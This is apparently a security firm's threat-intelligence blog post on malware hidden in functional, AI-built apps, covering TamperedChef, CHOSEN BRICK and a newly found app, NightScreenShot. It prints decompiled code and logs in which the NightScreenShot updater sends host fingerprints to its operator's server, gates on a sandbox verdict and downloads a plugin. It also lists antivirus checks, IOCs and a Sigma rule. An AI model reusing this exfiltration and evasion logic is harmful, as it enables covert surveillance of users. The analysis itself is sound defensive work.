Abstract
Over recent months, Strand has noticed threat actors becoming increasingly successful at delivering their malware payloads through otherwise benign, legitimate software applications which they develop and distribute. We have observed that, sometimes for months before weaponising the software, apparently legitimate (and often AI generated) software operates within client environments before an InfoStealer or RAT (Remote Access Trojan / Remote Administration Tool) is deployed through an update.
Although this approach to malware delivery is not new, with the NCSC's recent exposure of the CHOSEN BRICK campaign, we thought it a very appropriate time to raise awareness of this extremely stealthy tactic, as well as highlighting what defenders and incident responders should be keeping an eye out for.
This blog will analyse the following campaigns: CHOSEN BRICK, TamperedChef, and one other, currently unattributed, Windows application which Strand has identified as a likely malware campaign, and remains an active threat.
Strand Intelligence have submitted a Sigma rule for this threat to SigmaHQ to enable detection for EDR platforms. The Sigma rule is also included in Appendix 1.
The Attack Vector
Historically, there were two main ways for threat actors to conduct this type of attack.
The first and most straight-forward way involves developing a genuine piece of software in-house with the malicious functionality hidden deep within it, or push the malware in a later update to the application via auto-updates. Prior to the advent of agentic programming, this technique was mainly only employed by larger threat groups comprised of multi-skilled members - due to the resource-intensive nature of developing and maintaining production software.
The second was to compromise existing software repositories through the means of stolen developer account credentials or keys and secrets. This has been historically more effective as the software has already built trust with its users, albeit this requires the threat actor to compromise the software vendor – or their code repositories – directly.
Developer accounts, credentials, and API Keys are still heavily targeted today, as seen in the April 2026 Vercel incident. However, the focus of this blog is on the former approach regarding the development and distribution of real software applications.
The Agentic Programming Contribution
Software development is time-consuming and laborious. When combined with building a website, creating adverts, managing infrastructure and managing SEO so users discover and install your product, it has previously required a team of skilled individuals.
Lower skilled, financially motivated threat actors generally avoid such long development cycles for their malware campaigns.
A classic, common shortcut for such actors is to distribute their malware via software-bundling or "trojanised-warez". Sometimes this takes the form of a subtle, pre-checked box in the installer wizard of a legitimate software package which installs the malware as an "add-on" or "plug-in". This method allows for threat actors to piggyback off of other software vendors to distribute their software, as seen with the Screen Flip AdWare (image captured by PCRisk):
This shortcut offers a far more manageable distribution mechanism for threat actors, but critically it comes at the cost of trust; most users of the modern day internet will be sceptical of software which is packaged in a file archive format and hosted on a third-party media sharing platform.
Here's where agentic programming has had an observable effect. It is capable of creating entire projects, along with a polished website which appears credible and provides a direct download. With those huge development overheads removed, now even low-tier threat actors can run an almost un-detectable campaign where their malware masquerades as a benign and fully functional application to begin with. Useful, working applications that provide value to users – with hidden, malicious operations in the background.
Continue reading to see our case study on NightScreenShot - which is a perfect reflection of this.
Case Study 1: TamperedChef / EvilAI
Originally coined in 2025 to refer to the AppSuite PDF Editor attack, the term TamperedChef has outgrown its original use and is now being used to refer to the general technique rather than a specific instance, actor, or malware. Trend Micro broadly track this kind of behaviour under the umbrella term 'EvilAI' - where functional-looking applications are distributed through fake websites, SEO manipulation and malicious advertising / sponsored search results.
This case study is included here to highlight just how successful this can be when planned and executed well. TamperedChef, through its prominent success given the number of victims compromised (and the number of downstream, critical cyber attacks that the compromised credentials led to), brought EvilAI as an attack vector to the forefront of threat intelligence.
AppSuite PDF Editor lay installed as a completely regular productivity app on user devices before it received an update to begin malicious InfoStealer activity on infected machines. During this period, researchers at TrueSec identified at least 5 Google Ad campaign IDs attributed to the software, all encouraging users to download the PDF Editor similar to the ones seen here (Image from G Data):
The app looked completely legitimate, and for all intents and purposes, it was (at the time). Here is an image of the app installation wizard, retrieved from TrueSec's report on this:
On the 21st August 2025, the operators remotely enabled the malicious --fullupdate functionality, which triggered the application to begin operating as an InfoStealer in the background - stealing usernames, passwords, and browser cookies.
This activation happened around 56 days after the actor began distributing the software - which, from what can be observed retrospectively, was around the 26th June. This coincides with a typical 60-day paid advertising campaign. 56 days for a user to discover and download a legitimate seeming, useful application before it was weaponised.
Sophos reported seeing 300+ infected hosts just among customer environments covered by their products, putting the success of this approach in just a single campaign into perspective.
Successful malware campaigns naturally garner the attention of many cyber-security and intelligence outlets, leading to substantial reporting. In addition to security firms and defenders taking notes, it seems other threat actors also took notice of TamperedChef. They began to copy their peer’s homework, and hence the rise of similar EvilAI campaigns as a means of malware delivery.
Case Study 2: CHOSEN BRICK
CHOSEN BRICK is the name given to a campaign running since 2025 and attributed to the Iranian state by the NCSC. Published on 15th September 2026, it involves using social engineering via direct messaging to deceive a victim into installing SpyWare masquerading as a real application. These applications were often purpose built and bespoke for the target organisation – a process which, without AI development, would have taken extreme time and financial investment.
This is a highly targeted campaign where the operator will build rapport with the victim through WhatsApp or Telegram conversations prior to delivering the payload, but it shows how well a real, functional application hiding malware within it can avoid scrutiny from victims.
The NCSC have publicly released images of said applications which were tailor-made by the threat actor for each of their victims, so specifically tailored that one such victim received the malware alongside a copy of their MRI results.
The full blog contains much more insight into CHOSEN BRICK specifically: https://www.ncsc.gov.uk/news/iranian-cyber-targeting-of-dissidents-activists-and-journalists
In addition to the NCSC recommendations for mitigating the risk of infection from such campaigns, it is vital that software is downloaded from an official source (website or Microsoft Store, etc.) rather than from a direct file share or link that a user receives. However, as we will see with the following case study, this can still contain risk even when coming from an official-looking source.
Case Study 3: NightScreenShot (Active Threat)
During our research of this attack vector, following a rise in the number of ransomware incidents originating from infostealer campaigns (ransomware groups often purchase credentials stolen during these incidents) Strand identified and investigated this current threat which showcases a new and, as far as we are aware, otherwise unreported malicious campaign. This involves the use of a working, “free”, feature-rich screen recording application.
Currently being hosted at hxxps://nightscreenshot[.]com, you can observe how generic the web site is, and the clear lack of any real-world identity tied to the product:
Strand have downloaded the product for malware analysis in a dedicated sandbox environment. The analysis here is kept fairly light-weight as a malware analysis deep-dive would require its own blog post, but the below screenshots show how benign it appears to an end user after installing it on their machine. Just as with the website, you can see how this is a complete, polished application - completely avoiding any suspicion from the user.
The NightScreenShot updater tool establishes persistence on devices in many suspicious ways. It launches a hidden PowerShell window and updates the Windows Registry to register a new Scheduled task "NSSUpdater". The NSSUpdater program does multiple activities which are extremely common in malware, including enumerating the filesystem for installed applications. The Applications it is looking for – antivirus products - should tell you all you need to know about its intentions. Here is a listing of application names recovered from the decompiled program binary:
bitdefender
kaspersky
malwarebytes
avast
avg
norton
mcafee
eset
sophos
trend micro
f-secure
webroot
Interestingly, we see that these are referenced in the CollectFingerprint function. Taking a look at this function, it collects information about the system, as well as doing some work to detect if the program is currently being run in a virtual machine/sandbox. Again, something a legitimate (or simply vibe coded) application would not do. Here are some of the artefacts it checks for sandbox detection:
Other system information that CollectFingerprint collects includes:
Windows version/build information
Windows account details
Browser profiles and history (Chrome, Firefox, Edge, Opera, Brave)
System manufacturer
BIOS information
CPU information
Network Adapters
System Power Status
Supported storage device interfaces and attached storage disks
This is a non-exhaustive list.
I was interested to see what it does with this information. It turns out the CollectFingerprint function has just one incoming call from within the RunCycle function - a large function which contains a significant portion of the program's code. RunCycle is run in an infinite loop from within the Entry Point function, with a Sleep(14400000); invocation between each loop (sleeps for 4 hours). We see that RunCycle builds a JSON object with the collected fingerprint data (named machine_fingerprint_json in my following decompilation), and then sends that to the server in a POST request:
if (g_debug != '\0') {
Log("Gating: collecting fingerprint...");
}
// collect data for the fingerprint
CollectFingerprint(&system_info_obj,(string *)&local_628,local_708);
// create JSON object of machine fingerprint
FingerprintToJson(machine_fingerprint_json,(longlong*)&system_info_obj.QuadPart);
// -- content elided --
if (g_debug) {
Log(
"Gating: sending to server.py (" +
std::to_string(calculated_byte_count) +
" bytes)"
);
}
// create HTTP request data
local_4e8 = (undefined1 [16])0x0;
method = (wstring *)http_method;
slen = wcslen(L"POST");
std::__cxx11::wstring::_M_construct<>
(&method,L"POST",(longlong)(L"POST" + slen));
std::string remote_url = "https://nightscreenshot.com/api/check";
// send to the server
HttpDo(
&response_code,
&remote_url,
&method,
machine_fingerprint_json,
local_4e8,30000,30000
);
if ((uint)response_code == 200) {
if (g_debug != '\0') {
Log("Gating: server.py response: ",local_480,local_478[0]);
}
// program continues...Additionally, it reads the MachineGuid value from the Windows registry key SOFTWARE\MICROSOFT\CRYPTOGRAPHY. The MachineGuid is a unique identifier for the specific installation of Windows running on a given machine. NightScreenShot uses it to fingerprint and track each host running the software, and can be observed in multiple places, including the HTTP headers of requests it sends to the server:
Url: /poc/api/version
Protocol: HTTP/1.1
Method: GET
Connection: Keep-Alive
User-Agent: NSSUpdater/2.2.1
X-App-Name: NightScreenShot
X-App-Version: 2.2.1
X-Machine-ID: bb926e54-e3ca-40fd-ae90-2764341e7792
Host: nightscreenshot.comNightScreenShot uses hxxps://nightscreenshot[.]com/api/check and hxxps://nightscreenshot[.]com/poc/api/version for reconnaissance and C2 respectively. It actually uses PostHog for telemetry exfiltration, and the API key for this is stored in the rdata section of NSSUpdater.exe (listed in the IOCs later in this blog).
We can actually witness this communication happening on our sandbox machine by inspecting the log file that the NSSUpdater creates - you see the collecting fingerprint... and sending to server.py lines which were in the decompiled function above. PH in the log file refers to PostHog.
Log file content:
[2026-09-21 03:21:24] === NSSUpdater (Win32 C++) v2.2.1 started ===
[2026-09-21 03:21:41] === NSSUpdater (Win32 C++) v2.2.6 started ===
[2026-09-21 03:21:41] Manifest: {"latest_version":"2.2.6.2","min_required_version":"2.2.6.2","critical":true,"download_url":"https://nightscreenshot.com/poc/downloads/NightScreenShot-Setup-2.2.6.2.exe","changelog":"Security update","plugin_version":"2.3.8.1","plugin_url":"https://nightscreenshot.com/poc/downloads/NightScreenShot-Plugin-2.3.8.1.exe","plugin_enabled":true,"lp_distinct_id":"01a0c37a-ef66-760a-9b65-cf6ba48cfc03"}
[2026-09-21 03:21:41] PH: $create_alias
[2026-09-21 03:21:41] Latest:2.2.6.2 Crit:n Silent:n
[2026-09-21 03:21:41] No update needed.
[2026-09-21 03:21:41] Gating: collecting fingerprint...
[2026-09-21 03:21:41] Gating: sending to server.py (1564 bytes)
[2026-09-21 03:21:41] Gating: server.py response: {"install_plugin":true,"verdict":"real"}
[2026-09-21 03:21:41] Gating: verdict=real install=yes
[2026-09-21 03:21:41] Downloading plugin 2.3.8.1: https://nightscreenshot.com/poc/downloads/NightScreenShot-Plugin-2.3.8.1.exe
[2026-09-21 03:21:41] Wrote install token: 01a0c37a-ef66-760a-9b65-cf6ba48cfc03
[2026-09-21 03:21:41] PH: Plugin updated to 2.3.8.1
[2026-09-21 03:21:41] Plugin 2.3.8.1 queued — waiting for 1min idle before install.
[2026-09-21 03:23:16] Idle threshold reached (63s) — launching plugin.
[2026-09-21 03:23:17] Plugin 2.3.8.1 installer launched.
[2026-09-21 03:23:19] === NSSUpdater (Win32 C++) v2.2.6 started ===
[2026-09-21 03:23:19] Manifest: {"latest_version":"2.2.6.2","min_required_version":"2.2.6.2","critical":true,"download_url":"https://nightscreenshot.com/poc/downloads/NightScreenShot-Setup-2.2.6.2.exe","changelog":"Security update","plugin_version":"2.3.8.1","plugin_url":"https://nightscreenshot.com/poc/downloads/NightScreenShot-Plugin-2.3.8.1.exe","plugin_enabled":true,"lp_distinct_id":"01a0c37a-ef66-760a-9b65-cf6ba48cfc03"}
[2026-09-21 03:23:19] PH: $create_alias
[2026-09-21 03:23:19] Latest:2.2.6.2 Crit:n Silent:n
[2026-09-21 03:23:19] No update needed.
[2026-09-21 03:23:19] Gating: plugin already at 2.3.8.1So to recap, we have seen this software:
Set up persistence in a stealthy way through ephemeral files, Hidden PowerShell windows, registry updates, and scheduled tasks
Check for virtual machine/sandboxed execution
Enumerate the installed apps on the system specifically looking for Anti-Virus and EDR products
Send system information back to the server with a 'machine-ID' tracker for this installation
Have absolutely no ties to any real-world developer or entity.
There are more technical artefacts which raise suspicion when reverse engineering the software - these, however, are outside of the scope of this post.
Whilst currently there is no indication that this application steals credentials or performs other malicious activity, it perfectly fits activity previously observed in EvilAI campaigns. We believe that, in time, the NightScreenShot application will be weaponised by its developer into an infostealer – impacting any users who currently have it installed.
Indicators of Compromise identified by Strand Intelligence
For defenders and incident responders, identifying these software packages and their associated IOCs is critical for building a verbose picture of initial access, persistence mechanisms, and exfiltration channels.
IOCs for NightScreenShot are:
Connections to
hxxps://nightscreenshot[.]com/api/checkandhxxps://nightscreenshot[.]com/poc/api/versionNSSUpdaterbackground processScheduled tasks matching
NSSUpdaterLogfile
C:\Users\user\AppData\Local\NightScreenShot\NSSUpdater_log.txt
A Sigma rule which watches for the malicious process is included in Appendix 1.
In addition to conducting static analysis of the NightScreenShot program, we have installed it on an isolated Windows 11 host.
Strand uses a combination of deterministic checks, rules, anomaly detection and artificial intelligence to identify and respond to these threats – even when they are previously unknown, and there is limited threat intelligence on them. In a lab environment, Strand successfully identified NightScreenShot as a potentially harmful application, having discovered its persistence mechanisms:
Whether you are looking to improve your incident response capability, run threat hunting to identify users impacted by this or similar malware campaigns, or are regularly running cyber security investigations – reach out to Strand now and see how our forensic investigation system can save you, and your business, hours when every second counts.
Appendix 1: NightScreenShot Sigma Rule
title: NightScreenShot NSSUpdater Process Execution
id: e79db1bc-ec9f-4585-aa05-ccb72c8a5e9d
status: experimental
description: >
Detects execution of the NightScreenShot NSSUpdater component from its
observed installation directory. The updater component communicates with
the C2 server and exfiltrates telemetry to the operators' PostHog instance.
author: Jordan Newman [[email protected]]
date: 2026-09-24
logsource:
category: process_creation
product: windows
detection:
selection:
Image|endswith: '\ProgramData\NightScreenShot\NSSUpdater.exe'
condition: selection
falsepositives:
- Unlikely
level: high
